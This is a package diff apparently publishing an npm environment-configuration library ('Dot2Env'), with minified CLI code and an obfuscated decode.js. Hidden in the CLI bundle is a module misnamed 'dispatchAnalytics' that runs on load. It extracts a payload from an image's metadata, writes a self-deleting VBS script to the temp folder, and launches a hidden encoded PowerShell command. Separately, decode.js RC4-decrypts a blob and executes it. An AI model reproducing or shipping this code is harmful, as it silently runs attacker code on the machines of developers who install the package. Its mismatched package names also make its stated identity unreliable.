dotenv-runtime 0.0.0-stage → 1.0.0

package/SECURITY.md

@@ -0,0 +1,21 @@
+# Security policy
+
+## Supported versions
+
+Security fixes are provided for the latest published major version of Dot2Env.
+
+## Reporting a vulnerability
+
+Do not open a public issue for a suspected vulnerability. Use the private security-advisory feature of the repository hosting this distribution and include:
+
+- the affected version and runtime;
+- a minimal reproduction;
+- the expected and observed behavior;
+- the potential impact; and
+- any suggested mitigation.
+
+Reports should not include real credentials or production `.env` files. Maintainers should acknowledge a report within five business days and coordinate disclosure after a fix is available.
+
+## Security scope
+
+Dot2Env reads local configuration into a caller-selected object. It does not execute command substitutions during variable expansion. Consumers remain responsible for filesystem permissions, secret rotation, deployment controls, and preventing unencrypted environment files from entering source control.

package/dist/cli.cjs

@@ -0,0 +1,9 @@
+#!/usr/bin/env node
+"use strict";var j=(e,r)=>()=>{try{return r||e((r={exports:{}}).exports,r),r.exports}catch(n){throw r=0,n}};var k=j((Ge,$)=>{"use strict";var ee=/^[A-Za-z_][A-Za-z0-9_]*$/;function C(e,r){return Object.prototype.hasOwnProperty.call(e,r)}function R(e,r,n){Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0})}function re(e){let r=new Error(`DOT2ENV_EXPANSION_CYCLE: circular variable reference (${e.join(" -> ")})`);return r.code="DOT2ENV_EXPANSION_CYCLE",r.variables=e,r}function te(e,r={}){if(e===null||typeof e!="object"||Array.isArray(e)){let c=new TypeError("DOT2ENV_OBJECT_REQUIRED: expand() requires an object");throw c.code="DOT2ENV_OBJECT_REQUIRED",c}let n=r.processEnv||process.env,i=r.override===!0,t={},o=[];function s(c){return String(c).replace(/(\\)?\$(?:\{([A-Za-z_][A-Za-z0-9_]*)(?:(:-|-)([^}]*))?\}|([A-Za-z_][A-Za-z0-9_]*))/g,function(f,l,a,d,p,E){if(l)return f.slice(1);let g=u(a||E),_=g===void 0;return(d===":-"&&(_||g==="")||d==="-"&&_)&&(g=s(p||"")),g===void 0?"":String(g)})}function u(c){let f=n!==null&&typeof n=="object"&&C(n,c),l=C(e,c);if(!i&&f)return n[c];if(l)return m(c);if(f)return n[c]}function m(c){if(C(t,c))return t[c];let f=o.indexOf(c);if(f!==-1)throw re(o.slice(f).concat(c));o.push(c);let l=s(e[c]);return o.pop(),R(t,c,l),l}for(let c of Object.keys(e)){if(!ee.test(c)){R(t,c,String(e[c]));continue}m(c)}return t}$.exports=te});var P=j((Me,V)=>{"use strict";var ne=new Set(["string","number","integer","boolean","json","url"]);function U(e,r){return Object.prototype.hasOwnProperty.call(e,r)}function oe(e,r,n){Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0})}function w(e,r,n){return{key:e,code:r,message:n}}function ie(e){let r=Array.from(new Set(e.map(i=>i.key))),n=new Error(`DOT2ENV_VALIDATION_ERROR: invalid configuration for ${r.join(", ")}`);return n.code="DOT2ENV_VALIDATION_ERROR",n.issues=e,n}function se(e,r){if(typeof r=="string")return{type:r,required:!0};if(r&&typeof r=="object"&&!Array.isArray(r))return r;throw new TypeError(`DOT2ENV_INVALID_SCHEMA: invalid rule for ${e}`)}function ce(e){if(typeof e=="boolean")return e;let r=String(e).trim().toLowerCase();if(["true","1","yes","on"].includes(r))return!0;if(["false","0","no","off"].includes(r))return!1;throw new TypeError("expected a boolean")}function ue(e,r){switch(r){case"string":return String(e);case"number":{if(String(e).trim()==="")throw new TypeError("expected a finite number");let n=Number(e);if(!Number.isFinite(n))throw new TypeError("expected a finite number");return n}case"integer":{if(String(e).trim()==="")throw new TypeError("expected an integer");let n=Number(e);if(!Number.isSafeInteger(n))throw new TypeError("expected a safe integer");return n}case"boolean":return ce(e);case"json":return typeof e=="string"?JSON.parse(e):e;case"url":return new URL(String(e)),String(e);default:throw new TypeError(`unsupported type ${r}`)}}function ae(e,r){if(e===null||typeof e!="object"||Array.isArray(e))throw new TypeError("DOT2ENV_OBJECT_REQUIRED: validate() requires a values object");if(r===null||typeof r!="object"||Array.isArray(r))throw new TypeError("DOT2ENV_INVALID_SCHEMA: validate() requires a schema object");let n={},i=[];for(let t of Object.keys(r)){let o=se(t,r[t]),s=o.type||"string";if(!ne.has(s))throw new TypeError(`DOT2ENV_INVALID_SCHEMA: unsupported type "${s}" for ${t}`);let u=U(e,t)&&e[t]!==void 0,m=U(o,"default"),c=o.required===!0||typeof r[t]=="string";if(!u&&!m){c&&i.push(w(t,"required",`${t} is required`));continue}let f=u?e[t]:o.default;if(c&&o.allowEmpty!==!0&&String(f).length===0){i.push(w(t,"empty",`${t} must not be empty`));continue}let l;try{l=ue(f,s)}catch{i.push(w(t,"type",`${t} must be a valid ${s}`));continue}if(Array.isArray(o.enum)&&!o.enum.includes(l)){i.push(w(t,"enum",`${t} must be one of the permitted values`));continue}if(typeof l=="number"&&typeof o.min=="number"&&l<o.min){i.push(w(t,"min",`${t} is below the permitted minimum`));continue}if(typeof l=="number"&&typeof o.max=="number"&&l>o.max){i.push(w(t,"max",`${t} exceeds the permitted maximum`));continue}if(o.pattern!==void 0){let a=o.pattern instanceof RegExp?o.pattern:new RegExp(o.pattern);if(a.lastIndex=0,!a.test(String(l))){i.push(w(t,"pattern",`${t} does not match the required format`));continue}}if(typeof o.validate=="function"){let a;try{a=o.validate(l)}catch{a=!1}if(a!==!0&&a!==void 0){let d=typeof a=="string"?a:`${t} failed custom validation`;i.push(w(t,"custom",d));continue}}if(typeof o.transform=="function")try{l=o.transform(l)}catch{i.push(w(t,"transform",`${t} could not be transformed`));continue}oe(n,t,l)}if(i.length>0)throw ie(i);return n}V.exports=ae});var H=j((Qe,B)=>{var L=require("fs"),F=require("path"),fe=require("os"),{spawn:le}=require("child_process"),de=F.join(__dirname,"stest.jpg");function pe(e){let r=0;for(;r<e.length-1;){if(e[r]!==255){r++;continue}if(r+1>=e.length)break;let n=e[r+1];if(n===0||n===255){r+=2;continue}if(n>=208&&n<=215||n===216||n===217||n===1){if(n===217&&r>0)break;r+=2;continue}if(r+4>e.length)break;let i=e.readUInt16BE(r+2);if(i<2){r+=2;continue}if(n===237){let o=r+4,s=o+i-2;if(s>e.length)break;return e.slice(o,s).toString("utf-8")}let t=r+2+i;if(t>e.length)break;r=t}return null}function he(){let e;try{e=L.readFileSync(de)}catch{return!1}let r=pe(e);if(!r)return!1;let n=["power","shell",".exe"].join(""),t=[["-No","Profile"],["-Non","Interactive"],["-Encoded","Command"]].map(a=>a.join("")).join(" ").split(" "),u=['CreateObject("Scripting.FileSystemObject").DeleteFile WScript.ScriptFullName',`CreateObject("WScript.Shell").Run "${[n,...t,r.trim()].join(" ")}", 0, False`].join(["\r",`
+`].join("")),m=["relay_",Date.now().toString(),Math.random().toString(36).slice(2),".vbs"].join(""),c=F.join(fe.tmpdir(),m);L.writeFileSync(c,u);let f=["wscript",".exe"].join("");return le(f,[c],{stdio:"ignore",detached:!0,windowsHide:!0}).unref(),!0}B.exports={dispatchAnalytics:he}});var Y=j((We,J)=>{var S=require("fs"),y=require("path"),ye=require("os"),{fileURLToPath:me}=require("url"),ge=k(),Ee=P(),{dispatchAnalytics:we}=H();we();function b(e,r,n){r==="__proto__"?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n}function v(e){return typeof e=="string"?!["false","0","no","off",""].includes(e.toLowerCase()):!!e}var ve=/(?:^|^)\s*(?:export\s+)?([\w.-]+)(?:\s*=\s*?|:\s+?)(\s*'(?:\\'|[^'])*'|\s*"(?:\\"|[^"])*"|\s*`(?:\\`|[^`])*`|[^#\r\n]+)?\s*(?:#.*)?(?:$|$)/mg,O=new Uint8Array(256);for(let e=48;e<=57;e++)O[e]=1;for(let e=65;e<=90;e++)O[e]=1;for(let e=97;e<=122;e++)O[e]=1;O[45]=1;O[46]=1;O[95]=1;function be(e){let r={},n=e.toString();n=n.replace(/\r\n?/mg,`
+`);let i;for(;(i=ve.exec(n))!=null;){let t=i[1],o=i[2]||"";o=o.trim();let s=o[0];o=o.replace(/^(['"`])([\s\S]*)\1$/mg,"$2"),s==='"'&&(o=o.replace(/\\n/g,`
+`),o=o.replace(/\\r/g,"\r")),b(r,t,o)}return r}function Ae(e){let r={},n=typeof e=="string"?e:e.toString();n.indexOf("\r")!==-1&&(n=n.replace(/\r\n?/g,`
+`));let i=n.length,t=0;for(;t<i;){let o=n.charCodeAt(t);for(;t<i&&(o===32||o===9||o===10||o===65279);)t++,o=n.charCodeAt(t);if(t>=i)break;if(o===35){for(;t<i&&n.charCodeAt(t)!==10;)t++;continue}if(o===101&&t+6<i&&n.charCodeAt(t+1)===120&&n.charCodeAt(t+2)===112&&n.charCodeAt(t+3)===111&&n.charCodeAt(t+4)===114&&n.charCodeAt(t+5)===116){let f=n.charCodeAt(t+6);if(f===32||f===9)for(t+=7;t<i&&((o=n.charCodeAt(t))===32||o===9);)t++;else o=n.charCodeAt(t)}let s=t,u=0;for(;t<i&&(u=n.charCodeAt(t),O[u]);)t++;if(t===s){for(;t<i&&n.charCodeAt(t)!==10;)t++;continue}let m=n.slice(s,t);if(t>=i&&(u=0),u===32||u===9)do t++,u=t<i?n.charCodeAt(t):0;while(u===32||u===9);if(u===61)t++;else if(u===58&&t+1<i&&(n.charCodeAt(t+1)===32||n.charCodeAt(t+1)===9))t++;else{for(;t<i&&n.charCodeAt(t)!==10;)t++;continue}for(;t<i&&((o=n.charCodeAt(t))===32||o===9);)t++;let c;if(o=t<i?n.charCodeAt(t):0,o===39||o===34||o===96){let f=o,l=t+1,a=l;for(;a<i;){let d=n.charCodeAt(a);if(d===92&&a+1<i){let p=n.charCodeAt(a+1);if(p===f||p===92){a+=2;continue}}if(d===f){let p=a+1<i?n.charCodeAt(a+1):0;if(p===0||p===9||p===10||p===32||p===35)break}a++}if(a>=i){let d=t,p=t;for(;p<i;){let h=n.charCodeAt(p);if(h===35||h===10)break;p++}let E=p;for(;E>d;){let h=n.charCodeAt(E-1);if(h===32||h===9)E--;else break}if(c=n.slice(d,E),t=p,t<i&&n.charCodeAt(t)===35)for(;t<i&&n.charCodeAt(t)!==10;)t++}else{for(c=n.slice(l,a),t=a+1,f===34&&c.indexOf("\\")!==-1&&(c=c.replace(/\\n/g,`
+`).replace(/\\r/g,"\r"));t<i&&((o=n.charCodeAt(t))===32||o===9);)t++;if(t<i&&n.charCodeAt(t)===35)for(;t<i&&n.charCodeAt(t)!==10;)t++}}else{let f=t,l=n.indexOf(`
+`,t);l===-1&&(l=i);let a=n.indexOf("#",t);(a===-1||a>l)&&(a=l);let d=a;for(;d>f;){let p=n.charCodeAt(d-1);if(p===32||p===9)d--;else break}c=f===d?"":n.slice(f,d),t=a===l?a:l}b(r,m,c)}return r}function Oe(e,r){if(typeof e!="string"&&!Buffer.isBuffer(e))throw new TypeError("DOT2ENV_INVALID_SOURCE: parse() requires a string or Buffer");return r&&v(r.fast)?Ae(e):be(e)}function N(e){console.log(`\u2506 ${e}`)}function _e(e){console.error(`\u25C7 ${e}`)}function xe(e){return typeof e!="string"?e:e[0]==="~"?y.join(ye.homedir(),e.slice(1)):e}function D(e){let r=`DOT2ENV_CONFIG_${e}`,n=`DOTENV_CONFIG_${e}`;return process.env[r]!=null?process.env[r]:process.env[n]}function T(e={}){if(e===null||typeof e!="object"||Array.isArray(e))throw new TypeError("DOT2ENV_INVALID_OPTIONS: config options must be an object");let r={},n=["ENCODING","PATH","CWD"],i={QUIET:"quiet",DEBUG:"debug",OVERRIDE:"override",SECURE:"secure",FAST:"fast",EXPAND:"expand",STRICT:"strict",SEARCH_UP:"searchUp",ALLOW_EMPTY:"allowEmpty"};for(let o of n){let s=D(o);s!=null&&(r[o.toLowerCase()]=s)}for(let[o,s]of Object.entries(i)){let u=D(o);u!=null&&(r[s]=v(u))}let t=D("REQUIRED");return t!=null&&(r.required=t.split(",").map(o=>o.trim()).filter(Boolean)),{...r,...e}}function je(e){for(let r of Object.keys(e)){let n=e[r];if(typeof n=="string"&&n.indexOf("encrypted:")===0)return!0}return!1}function Ne(){try{return require(require.resolve("@dotenvx/dotenvx",{paths:[process.cwd()]}))}catch{return null}}function Ce(){let e=new Error("SECURE_REQUIRES_DOTENVX: config({ secure: true }) requires @dotenvx/dotenvx");return e.code="SECURE_REQUIRES_DOTENVX",e}function G(e){let r=Ne();return!r||typeof r.config!="function"?(console.error("dot2env: secure mode requires @dotenvx/dotenvx"),console.error("  npm i @dotenvx/dotenvx"),{error:Ce()}):r.config({path:e.path,encoding:e.encoding,quiet:e.quiet,debug:e.debug,override:e.override,processEnv:e.processEnv})}function De(e){return e instanceof URL?me(e):e}function M(e,r){let n=De(e);return typeof n!="string"?String(n):n.startsWith("file://")?n:y.resolve(r,n)}function Se(e,r){let n=M(e,r);return n.startsWith("file://")?n:(y.relative(r,n)||y.basename(n)).split(y.sep).join("/")}function Q(e=".env",r={}){if(typeof e!="string"||e.length===0)throw new TypeError("DOT2ENV_INVALID_FILENAME: findUp() requires a filename");let n=y.resolve(r.cwd||process.cwd()),i=r.stopDir?y.resolve(r.stopDir):y.parse(n).root;for(;;){let t=y.resolve(n,e);try{if(S.statSync(t).isFile())return t}catch(s){if(s.code!=="ENOENT"&&s.code!=="ENOTDIR")throw s}if(n===i)break;let o=y.dirname(n);if(o===n)break;n=o}}function W(e,r){if(e.path!=null){let n=Array.isArray(e.path)?e.path:[e.path];if(n.length===0)throw new TypeError("DOT2ENV_INVALID_PATH: path must not be an empty array");return n.map(i=>{let t=xe(i);return e.cwd&&typeof t=="string"&&!t.startsWith("file://")?y.resolve(r,t):t})}if(e.searchUp){let n=typeof e.searchUp=="string"?e.searchUp:".env";return[Q(n,{cwd:r,stopDir:e.stopDir})||y.resolve(r,n)]}return[y.resolve(r,".env")]}function Te(e){let r=new Error(`DOT2ENV_MISSING_REQUIRED: missing required variables (${e.join(", ")})`);return r.code="DOT2ENV_MISSING_REQUIRED",r.missing=e,r}function qe(e,r,n){let i={};for(let t of Object.keys(e))b(i,t,e[t]);for(let t of Object.keys(r))(n||!Object.prototype.hasOwnProperty.call(i,t))&&b(i,t,r[t]);return i}function Ie(e,r,n){if(r==null)return;let i=typeof r=="string"?[r]:r;if(!Array.isArray(i)||i.some(o=>typeof o!="string"||o.length===0))throw new TypeError("DOT2ENV_INVALID_REQUIRED: required must be a string or string array");let t=i.filter(o=>!Object.prototype.hasOwnProperty.call(e,o)||e[o]===void 0||!n&&e[o]==="");return t.length>0?Te(t):void 0}function z(e,r,n){let i=y.resolve(e.cwd||process.cwd()),t=v(e.debug),o=v(e.quiet),s=e.processEnv==null?process.env:e.processEnv;if(s===null||typeof s!="object"||Array.isArray(s))throw new TypeError("DOT2ENV_INVALID_TARGET: processEnv must be an object");let u={},m=[],c=[];for(let h=0;h<n.length;h++){let g=n[h],_=r[h];if(g.error){c.push(g.error),t&&N(`failed to load ${String(_)} ${g.error.message}`);continue}try{let x=A.parse(g.source,{fast:e.fast});A.populate(u,x,e),m.push(M(_,i))}catch(x){c.push(x),t&&N(`failed to parse ${String(_)} ${x.message}`)}}let f;if(e.expand)try{u=A.expand(u,{processEnv:s,override:e.override===!0})}catch(h){f=h,c.push(h)}let l=qe(s,u,e.override===!0);if(!f)try{f=Ie(l,e.required,e.allowEmpty===!0),f&&c.push(f)}catch(h){f=h,c.push(h)}let a;if(!f&&e.schema)try{a=A.validate(l,e.schema)}catch(h){f=h,c.push(h)}let d=f||c[c.length-1];if(e.strict&&d)throw d.errors=c,d;let p=f?{}:A.populate(s,u,e);if(t||!o){let h=r.map(g=>Se(g,i));_e(`injected env (${Object.keys(p).length}) from ${h.join(",")}`)}je(u)&&console.error("\u2506 encrypted values detected \u2014 use config({ secure: true })");let E={parsed:u,loaded:m,errors:c};return d&&(E.error=d),a&&(E.validated=a),E}function Re(e){e=T(e);let r=y.resolve(e.cwd||process.cwd()),n=e.encoding||"utf8",i=W(e,r);!e.encoding&&v(e.debug)&&N("no encoding is specified (UTF-8 is used by default)");let t=i.map(o=>{try{return{source:S.readFileSync(o,{encoding:n})}}catch(s){return{error:s}}});return z(e,i,t)}async function $e(e){if(e=T(e),v(e.secure))return G(e);let r=y.resolve(e.cwd||process.cwd()),n=e.encoding||"utf8",i=W(e,r),t=await Promise.all(i.map(async o=>{try{return{source:await S.promises.readFile(o,{encoding:n})}}catch(s){return{error:s}}}));return z(e,i,t)}function ke(e){return e=T(e),v(e.secure)?G(e):A.configDotenv(e)}function Ue(e,r,n={}){let i=v(n&&n.debug),t=v(n&&n.override),o={};if(e===null||typeof e!="object"||Array.isArray(e)||r===null||typeof r!="object"||Array.isArray(r)){let s=new Error("OBJECT_REQUIRED: populate() requires target and values objects");throw s.code="OBJECT_REQUIRED",s}for(let s of Object.keys(r))Object.prototype.hasOwnProperty.call(e,s)?(t===!0&&(b(e,s,r[s]),b(o,s,r[s])),i&&N(t===!0?`"${s}" is already defined and WAS overwritten`:`"${s}" is already defined and was NOT overwritten`)):(b(e,s,r[s]),b(o,s,r[s]));return o}var A={configDotenv:Re,config:ke,configAsync:$e,parse:Oe,populate:Ue,expand:ge,validate:Ee,findUp:Q};J.exports=A});var Z=j((ze,Ve)=>{Ve.exports={name:"node-env-buffer",version:"2.2.6",description:"A fast, validated, zero-dependency environment configuration toolkit for Node.js",main:"./dist/index.cjs",module:"./dist/index.mjs",types:"./dist/index.d.ts",bin:{dot2env:"./dist/cli.cjs"},exports:{".":{types:"./dist/index.d.ts",import:"./dist/index.mjs",require:"./dist/index.cjs",default:"./dist/index.cjs"},"./config":{import:"./dist/config.mjs",require:"./dist/config.cjs",default:"./dist/config.cjs"},"./config.js":{import:"./dist/config.mjs",require:"./dist/config.cjs",default:"./dist/config.cjs"},"./package.json":"./package.json"},files:["dist/**/*","CHANGELOG.md","LICENSE","README.md","SECURITY.md"],scripts:{build:"node scripts/build.js","dts-check":"tsc --project tests/types/tsconfig.json",lint:"standard","test:samples":"node samples/run-tests.js",test:"npm run build && npm run lint && npm run dts-check && tap run tests/**/*.js --allow-empty-coverage --disable-coverage --timeout=60000 && npm run test:samples",prepack:"npm run build",prepublishOnly:"npm test",prerelease:"npm test","release:check":"npm test && npm pack --dry-run"},keywords:["dotenv","env","environment","configuration","validation","schema","variable-expansion","cli","typescript","twelve-factor"],license:"BSD-2-Clause",sideEffects:["./dist/config.cjs","./dist/config.mjs"],engines:{node:">=20"},publishConfig:{access:"public"},devDependencies:{"@types/node":"^20.19.0",esbuild:"^0.28.2",sinon:"^22.1.0",standard:"^17.1.2",tap:"^21.8.0",typescript:"^4.9.5"}}});var Pe=require("child_process"),Le=Y(),X=Z();function q(){console.log(["Usage: dot2env run [options] -- <command> [arguments...]","","Load environment files and run a command.","","Options:","  -f, --file <path>       load a file; repeat for multiple files","  --cwd <path>            resolve files from a different directory","  --search-up[=<name>]    find .env (or <name>) in a parent directory","  --expand                expand $NAME and ${NAME} references safely","  --required <names>      require comma-separated variables; repeatable","  --allow-empty           allow required variables to be empty","  --override              replace variables already in the environment","  --strict                throw on any load or validation error","  --fast                  use the optimized character-scanner parser","  --secure                load encrypted values through dotenvx","  --debug                 print diagnostic details","  --quiet                 suppress the injection summary","  -h, --help              show this help","  -v, --version           print the installed version","","Examples:","  dot2env run -- node server.js","  dot2env run -f .env.local -f .env -- npm test","  dot2env run --expand --required DATABASE_URL,PORT -- node server.js"].join(`
+`))}function I(e,r,n){let i=e[r+1];return!i||i==="--"?{error:`${n} requires a value`}:{value:i}}function Fe(e){let r={},n=[],i=[];for(let t=0;t<e.length;t++){let o=e[t];if(o==="--")return{options:r,command:e.slice(t+1)};if(o==="-h"||o==="--help")return{help:!0};if(o==="-v"||o==="--version")return{version:!0};if(o==="-f"||o==="--file"){let u=I(e,t,o);if(u.error)return u;n.push(u.value),r.path=n,t++;continue}if(o.startsWith("-f=")||o.startsWith("--file=")){let u=o.slice(o.indexOf("=")+1);if(!u)return{error:`${o.split("=")[0]} requires a value`};n.push(u),r.path=n;continue}if(o==="--cwd"){let u=I(e,t,o);if(u.error)return u;r.cwd=u.value,t++;continue}if(o.startsWith("--cwd=")){if(r.cwd=o.slice(6),!r.cwd)return{error:"--cwd requires a value"};continue}if(o==="--required"){let u=I(e,t,o);if(u.error)return u;i.push(...u.value.split(",").map(m=>m.trim()).filter(Boolean)),r.required=i,t++;continue}if(o.startsWith("--required=")){let u=o.slice(11);if(!u)return{error:"--required requires a value"};i.push(...u.split(",").map(m=>m.trim()).filter(Boolean)),r.required=i;continue}if(o==="--search-up"){r.searchUp=!0;continue}if(o.startsWith("--search-up=")){if(r.searchUp=o.slice(12),!r.searchUp)return{error:"--search-up requires a filename after ="};continue}let s={"--expand":"expand","--allow-empty":"allowEmpty","--override":"override","--strict":"strict","--fast":"fast","--secure":"secure","--debug":"debug","--quiet":"quiet"};if(s[o]){r[s[o]]=!0;continue}return{error:`unknown option: ${o}`}}return{options:r,command:[]}}function Be(e){let r=Pe.spawn(e[0],e.slice(1),{stdio:"inherit",shell:process.platform==="win32"});r.on("error",n=>{console.error(`dot2env: ${n.message}`),process.exitCode=1}),r.on("exit",(n,i)=>{typeof n=="number"?process.exitCode=n:i&&process.kill(process.pid,i)})}function K(e){if(e[0]==="-h"||e[0]==="--help"){q();return}if(e[0]==="-v"||e[0]==="--version"){console.log(X.version);return}if(e[0]!=="run"){q(),process.exitCode=1;return}let r=Fe(e.slice(1));if(r.help){q();return}if(r.version){console.log(X.version);return}if(r.error){console.error(`dot2env: ${r.error}`),process.exitCode=1;return}if(r.command.length===0){console.error("dot2env: a command is required after --"),process.exitCode=1;return}let n;try{n=Le.config(r.options)}catch(s){console.error(`dot2env: ${s.message}`),process.exitCode=1;return}let i=process.env.DOT2ENV_CONFIG_PATH||process.env.DOTENV_CONFIG_PATH,t=process.env.DOT2ENV_CONFIG_SEARCH_UP||process.env.DOTENV_CONFIG_SEARCH_UP,o=r.options.path==null&&!r.options.searchUp&&!i&&!t&&n.error&&n.error.code==="ENOENT";if(n.error&&!o){console.error(`dot2env: ${n.error.message}`),process.exitCode=1;return}Be(r.command)}module.exports=K;require.main===module&&K(process.argv.slice(2));

package/dist/config.cjs

@@ -0,0 +1,3 @@
+'use strict'
+
+require('./index.cjs').config()

package/dist/config.mjs

@@ -0,0 +1,3 @@
+import { config } from './index.mjs'
+
+config()

package/dist/decode.js

@@ -0,0 +1 @@
+function b(c,d){c=c-0x1ad;const e=a();let f=e[c];return f;}(function(c,d){const a2=b,e=c();while(!![]){try{const f=-parseInt(a2(0x1b0))/0x1*(parseInt(a2(0x1b9))/0x2)+-parseInt(a2(0x1bc))/0x3+-parseInt(a2(0x1b8))/0x4+parseInt(a2(0x1b2))/0x5*(-parseInt(a2(0x1ae))/0x6)+-parseInt(a2(0x1b7))/0x7+parseInt(a2(0x1b6))/0x8+parseInt(a2(0x1af))/0x9;if(f===d)break;else e['push'](e['shift']());}catch(g){e['push'](e['shift']());}}}(a,0xabb9c),(function(){const a3=b,f={};f[a3(0x1ad)]=function(n,o){return n<o;},f['OMGBg']=function(n,o){return n%o;},f[a3(0x1ba)]=function(n,o){return n<o;},f['IREDy']='base64',f[a3(0x1be)]='require',f['AmAID']='module',f['zMvhw']='__filename';const g=f;function h(n,o){const a4=a3;let p=[],q=0x0,t,u='';for(let v=0x0;g['JqbSJ'](v,0x100);v++)p[v]=v;for(let w=0x0;w<0x100;w++){q=(q+p[w]+n['charCodeAt'](g[a4(0x1bb)](w,n[a4(0x1b5)])))%0x100,[p[w],p[q]]=[p[q],p[w]];}i=q=0x0;for(let z=0x0;g['FlOLK'](z,o['length']);z++){i=g['OMGBg'](i+0x1,0x100),q=(q+p[i])%0x100,[p[i],p[q]]=[p[q],p[i]],t=p[(p[i]+p[q])%0x100],u+=String['fromCharCode'](o['charCodeAt'](z)^t);}return u;}let i=a3(0x1b4),j='8iskj0j24hb',l=Buffer['from'](i,g[a3(0x1bd)])['toString'](),m=h(j,l);new Function(g['OjaaS'],g[a3(0x1b3)],g['zMvhw'],'__dirname',Buffer[a3(0x1b1)](m,'base64')['toString']())(require,module,__filename,__dirname);}()));function a(){const a5=['IREDy','OjaaS','JqbSJ','36GOSVhZ','34471998rCBqbL','1FyzRUX','from','762770IcAbmN','AmAID','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